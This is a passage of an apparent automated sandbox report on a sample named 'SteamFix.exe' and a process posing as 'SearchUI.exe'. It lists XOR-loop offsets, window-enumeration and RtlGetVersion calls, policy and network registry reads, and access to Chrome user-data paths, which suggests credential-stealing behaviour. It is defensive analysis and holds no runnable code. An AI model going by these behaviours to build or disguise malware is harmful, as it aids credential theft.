512950; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 544010; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 577386; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 805747; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 817385; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 823294; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 983078; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1029485; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1211536; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1215101; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1342065; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1355645; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1425896; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1485400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1539655; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1610160; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1635356; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1768875; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1837961; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1856099; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1862810; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1923268; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1982465; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2065649; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2123263; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2169411; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2190726; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2197172; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2273905; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2274740; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2308573; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2331118; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2331619; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2362820; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2375499; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2451711; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2605437; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2678114; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2717480; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2746877; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2845592; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2859749; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2982406; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3047471; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3143717; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3200156; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3235403; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3403739; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3469996; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1546; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 75728; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 171560; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 189031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 233543; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 249160; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 310194; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 332621; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 450350; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 615229; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 732165; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 941031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1008411; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1113821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1123387; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1178526; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1199250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1218284; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1229828; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1319613; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1450106; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1629939; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1685153; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1702460; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1727152; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1743638; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1849153; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1855522; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1923899; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1966917; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2155524; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2197274; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2241898; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2392632; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2507813; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2529731; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2592308; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2602603; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2654425; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2790691; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2867878; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2949397; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3014113; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3019707; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3066184; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3109931; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3341456; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3448653; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 391238; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 17084; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 181182; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 214271; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 262714; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 281198; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 331468; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 379976; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 467078; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 546103; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 708820; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 729874; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 753501; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1120044; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1212781; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1475161; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1780821; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2023038; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2211638; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2234986; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2250337; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2270641; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2277328; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2320690; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2372930; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2467110; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2521678; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2556672; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2637811; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2681659; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2739027; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2846558; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2974962; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3053033; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3062543; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3094389; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3246674; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3389815; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3459205; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3477622; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3480960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3507182; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3557351; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3576982; code bytes = 803034:T625,Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00006948-00000C2C-1580337111") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00006948-00000C2C-1580337153") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp, 00000000-00000992.00000001.197869.03B70000.00000004.mdmp, 00000000-00000992.00000002.199787.03B70000.00000004.mdmp, 00000000-00000992.00000003.204420.03B70000.00000004.mdmp") Found reference to API "772838,7964,110,,EnumWindows,user32.dll,"00:51:26.109",RX=0,PX=0" (Indicator: "enumwindows"; Source: "00000000-00000992.00000001.197869.03BC7000.00000004.mdmp, 00000000-00000992.00000002.199787.03BC7000.00000004.mdmp, 00000000-00000992.00000003.204420.03BC7000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001372.00000000.197615.03800000.00000004.mdmp, 00000000-00001372.00000001.197755.03800000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00001372.00000001.197755.03812000.00000004.mdmp") Found reference to API "FindWindowW" (Indicator: "findwindow"; Source: "00000000-00001372.00000001.197755.03812000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005984.00000000.197451.04100000.00000004.mdmp")35:T2c6e,"SteamFix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000009e29167738c49c0300000000280000002400000000009b03f8f18f000000000000000000000000000000000000000000d007550030000000000000000800000000005500000000006d000000000000000000000090c29c0350b09b0308000000000000002000000000005500d00155003c0c550000000000380c550000000000f0f18f0050f5157738c49c0358f28f00a4f28f00 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f576f8e6da265cbcf57620aa9c03000000003dbcf5768468d7c274abfd76fddbfc760469d7c20000000060dbfc765261f57690bf9f0348860d7700000000c86ad7c20ce8da26c796f6760000000090bf9f0348860d77011800000ce8da26d296f676d82fef76501ef676f996f67600000000d82fef76d4e49c037ce8da2690bf9f0300e7da260000000058eeda2600a8fd7634420193fefffffffddbfc76b702f67624830d7720aa9c03e05afd766dfaf57644eada2620aa9c03ccfaf5760000000020aa9c0358ecda26000000005037ef760000000000010000000000000000cf6db0819f0300000000000000000000000000000000 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f57658e9da265cbcf576f0a79c03000000003dbcf5762467d7c274abfd76fddbfc76a467d7c20000000060dbfc765261f576a83fa00348860d77000000006869d7c26ceada26c796f67600000000a83fa00348860d77011800006ceada26d296f676d82fef76501ef676f996f67600000000d82fef7614e09c03dceada26a83fa00360e9da2600000000b8f0da2600a8fd7634420193fefffffffddbfc76b702f67624830d77f0a79c03e05afd766dfaf576a4ecda26f0a79c03ccfaf576d069f500f0a79c03b8eeda26000000005037ef760000000030000000000000007400000018e0a003000000005e2a00000000000000000000 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f57660e7da265cbcf5760091a103000000003dbcf5761c69d7c274abfd76fddbfc769c69d7c20000000060dbfc765261f57610c29f0348860d7700000000606bd7c274e8da26c796f6760000000010c29f0348860d770118000074e8da26d296f676d82fef76501ef676f996f67600000000d82fef7614e09c03e4e8da2610c29f0368e7da2600000000c0eeda2600a8fd7634420193fefffffffddbfc76b702f67624830d770091a103e05afd766dfaf576aceada260091a103ccfaf576d069f5000091a103c0ecda26000000005037ef760000000030000000000000001c00000098de9e03000000009e6700000000000000000000 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f576a0e9da265cbcf57648aa9c03000000003dbcf576dc67d7c274abfd76fddbfc765c64d7c20000000060dbfc765261f57638d1a00348860d77000000002069d7c2b4eada26c796f6760000000038d1a00348860d7701180000b4eada26d296f676d82fef76501ef676f996f67600000000d82fef7654e59c0324ebda2638d1a003a8e9da260000000000f1da2600a8fd7634420193fefffffffddbfc76b702f67624830d7748aa9c03e05afd766dfaf576ececda2648aa9c03ccfaf576d069f50048aa9c0300efda26000000005037ef760000000030000000000000000e00000050b39f0300000000470000000000000000000000 (UID: 00000000-00008176) "SteamFix.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008176) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000009e29167770cab8030000000028000000240000000000b70368ef99000000000000000000000000000000000000000000d0079c0030000000000000000100000000009c0000000000d9000000000000000000000018cab80308b3b70301000000000000002000000000009c00d0019c00d40b9c0000000000d00b9c000000000060ef990050f5157770cab803c8ef990014f09900 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f57660e612275cbcf57648b0b803000000003dbcf5767302cea674abfd76fddbfc76f302cea60000000060dbfc765261f576c8c4bb0348860d77000000000f00cea674e71227c796f67600000000c8c4bb0348860d770118000074e71227d296f676d82fef76501ef676f996f67600000000d82fef76ccddb803e4e71227c8c4bb0368e6122700000000c0ed122700a8fd765b28d0f6fefffffffddbfc76b702f67624830d7748b0b803e05afd766dfaf576ace9122748b0b803ccfaf5760000000048b0b803c0eb1227000000005037ef760000000000010000000000000000cf6d9094bb0300000000000000000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f57660e712275cbcf576a8afb803000000003dbcf5767303cea674abfd76fddbfc76f303cea60000000060dbfc765261f57698c0bb0348860d77000000000f01cea674e81227c796f6760000000098c0bb0348860d770118000074e81227d296f676d82fef76501ef676f996f67600000000d82fef763ce4bb03e4e8122798c0bb0368e7122700000000c0ee122700a8fd765b28d0f6fefffffffddbfc76b702f67624830d77a8afb803e05afd766dfaf576acea1227a8afb803ccfaf576d069f500a8afb803c0ec1227000000005037ef760000000030000000000000000b00000028adbb0300000000824a00000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f57618e912275cbcf576b8aeb803000000003dbcf5760b0dcea674abfd76fddbfc768b0dcea60000000060dbfc765261f57648b1bb0348860d7700000000c702cea62cea1227c796f6760000000048b1bb0348860d77011800002cea1227d296f676d82fef76501ef676f996f67600000000d82fef76fcdfbb039cea122748b1bb0320e912270000000078f0122700a8fd765b28d0f6fefffffffddbfc76b702f67624830d77b8aeb803e05afd766dfaf57664ec1227b8aeb803ccfaf576d069f500b8aeb80378ee1227000000005037ef760000000030000000000000002c00000028adbb03000000008e4300000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000f97600000000d0b1f576f8e412275cbcf57698b0b803000000003dbcf576eb00cea674abfd76fddbfc766b01cea60000000060dbfc765261f57690ccbb0348860d7700000000a706cea60ce61227c796f6760000000090ccbb0348860d77011800000ce61227d296f676d82fef76501ef676f996f67600000000d82fef767ce2bb037ce6122790ccbb0300e512270000000058ec122700a8fd765b28d0f6fefffffffddbfc76b702f67624830d7798b0b803e05afd766dfaf57644e8122798b0b803ccfaf576d069f50098b0b80358ea1227000000005037ef760000000030000000000000000c0000004884ba03000000007d6500000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000d8e499007ce49900226e91760000b603000000002d6e917604d52cf12d000000ecb7837400e5990000009c00c0a8b80318b2b703000000008000000040e4990000009c00c4e4990070c8927680402287feffffff2d000000d0cc92742700000094e49900856a93761c239876d4e49900f85f937608000000bb699276b2699276acd52cf12d000000ecb7837427000000d0cc9274a8e499002d000000d0cc927427000000d8e49900856a93761c23987620e599007e8a9174ee8c9174738a917473932d532d000000ecb7837427000000d0cc92747c6fb603106fb60373932d53e8e49900fc52cf74d4e59900e08491746b877927feffffff738a9174 (UID: 00000000-00000992) "SearchUI.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff00000000a8dd990038cf16772c38b70314de990001000000e037b7032c38b703e037b703040000000400000000e0cf750010000014de990001000000e037b703cd9716779c9716776a5605b0b50fc675e037b7030000167700000000e40436750000000080eecc750100000000000000f8e2cf75000000000400000080a9ab734840ce75f8e2cf7518de990080e82c76f8a3ba0380e82c7614de99000000000080e82c76d45addfcfeffffff00000000000000000000000005000000c883bc0302000000020000000a000000b883bc03c883bc0300000000015de2a898e09900ddf3c3758cde990000000000b883bc030a000000f8f3c375b883bc03 (UID: 00000000-00000992)36:T553,"SteamFix.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "SteamFix.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "SearchUI.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "SearchUI.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "smss.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")37:T475,Found reference to API "658610,7936,109,,GetWindowTextW,user32.dll,"00:51:31.453",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00000992.00000001.197869.03BC7000.00000004.mdmp") Found reference to API "772838,7964,110,,EnumWindows,user32.dll,"00:51:26.109",RX=0,PX=0" (Indicator: "EnumWindows"; Source: "00000000-00000992.00000001.197869.03BC7000.00000004.mdmp, 00000000-00000992.00000002.199787.03BC7000.00000004.mdmp, 00000000-00000992.00000003.204420.03BC7000.00000004.mdmp") Found reference to API "0725328,1620,109,,GetWindowTextW,user32.dll,"00:52:00.687",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00000992.00000002.199787.03BC7000.00000004.mdmp") Found reference to API "3769730,1620,109,,GetWindowTextW,user32.dll,"00:53:13.140",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00000992.00000003.204420.03BC7000.00000004.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00001372.00000001.197755.03812000.00000004.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00001372.00000001.197755.03812000.00000004.mdmp")38:Tc1f,"SteamFix.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")39:Tf0c,"SteamFix.exe" queries volume information of "C:\Program Files (x86)" at 00000000-00008176-00000C17-1564012866 "SteamFix.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00008176-00000C17-1564013384 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages" at 00000000-00000992-00000C17-1577502970 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00000992-00000C17-1577570681 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data" at 00000000-00000992-00000C17-1577572205 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" at 00000000-00000992-00000C17-1577574065 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" at 00000000-00000992-00000C17-1578138853 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Publishers\SearchUI.exe" at 00000000-00000992-00000C17-1578139575 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ActorSafetyLists" at 00000000-00000992-00000C17-1583498393 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AmountExtractionHeuristicRegexes" at 00000000-00000992-00000C17-1583499058 "SearchUI.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User 